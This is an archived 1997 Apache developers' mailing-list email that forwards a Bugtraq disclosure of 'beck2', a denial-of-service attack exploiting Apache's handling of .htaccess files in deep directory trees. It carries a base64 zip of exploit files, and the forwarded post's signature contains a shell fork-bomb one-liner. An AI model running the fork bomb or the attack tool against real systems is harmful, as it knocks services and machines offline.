Return-Path: Delivered-To: new-httpd-archive@hyperreal.org Received: (qmail 19154 invoked by uid 6000); 31 Dec 1997 17:24:31 -0000 Received: (qmail 19147 invoked from network); 31 Dec 1997 17:24:29 -0000 Received: from scanner.worldgate.com (198.161.84.3) by taz.hyperreal.org with SMTP; 31 Dec 1997 17:24:28 -0000 Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.7/8.8.7) with UUCP id KAA16311 for new-httpd@apache.org; Wed, 31 Dec 1997 10:24:28 -0700 (MST) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id KAA08693 for ; Wed, 31 Dec 1997 10:23:50 -0700 (MST) Date: Wed, 31 Dec 1997 10:23:50 -0700 (MST) From: Marc Slemko To: TLOSAP Subject: Apache memory/process management. (fwd) Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="----=_NextPart_000_0088_01BD160F.5B0AD900" Content-ID: Sender: new-httpd-owner@apache.org Precedence: bulk Reply-To: new-httpd@apache.org This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ------=_NextPart_000_0088_01BD160F.5B0AD900 Content-Type: TEXT/PLAIN; CHARSET=iso-8859-2 Content-Transfer-Encoding: QUOTED-PRINTABLE Content-ID: You create a document tree where Apache has to do a lot of work to serve files then get upset when Apache does a lot of work. In this case, it has to look for a lot of htaccess files. I guess adding a "MaxDirLength" directive or something would remove this. I'm not sure what to make of the "The only thing I want to show is very ineffective management of memory, CPU time and other resources" statement. Similar comments about Apache doing all sorts of horrible things when it was really just using a lot of CPU were made for the previous DoS attack. ---------- Forwarded message ---------- Date: Wed, 31 Dec 1997 17:09:22 +0100 From: "[iso-8859-2] Micha=B3 Zalewski" To: BUGTRAQ@NETSPACE.ORG Subject: Apache memory/process management. Here is another (less interesting) example of Apache DoS attack, called 'beck2'. The only thing I want to show is very ineffective management of memory, CPU time and other resources. This attack is possible in two cases: 1. Attacker owns an account on a victim machine, or 2. Victim's directory structure is very deep (?). When one of above statements is true, it's possible to perform a remote attack, even when Apache has been already patched against first version of 'beck'. More details can be deducted from sources :) In well-configured system, any kind DoS attack should be at least ineffective (resources *required* to attack should be significally larger than resources *affected* by attack ;). Unfortunately, it's very, very easy to attack Apache servers using minimal amount of time and brain resources :) Maybe it's time to rewrite larger parts of code? _______________________________________________________________________ Michal Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl] =3D--------- [ echo "while [ -f \$0 ]; do \$0 &;done" >_;. _ ] ---------=3D ------=_NextPart_000_0088_01BD160F.5B0AD900 Content-Type: APPLICATION/X-ZIP-COMPRESSED; NAME="beck2.zip" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: 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 ------=_NextPart_000_0088_01BD160F.5B0AD900--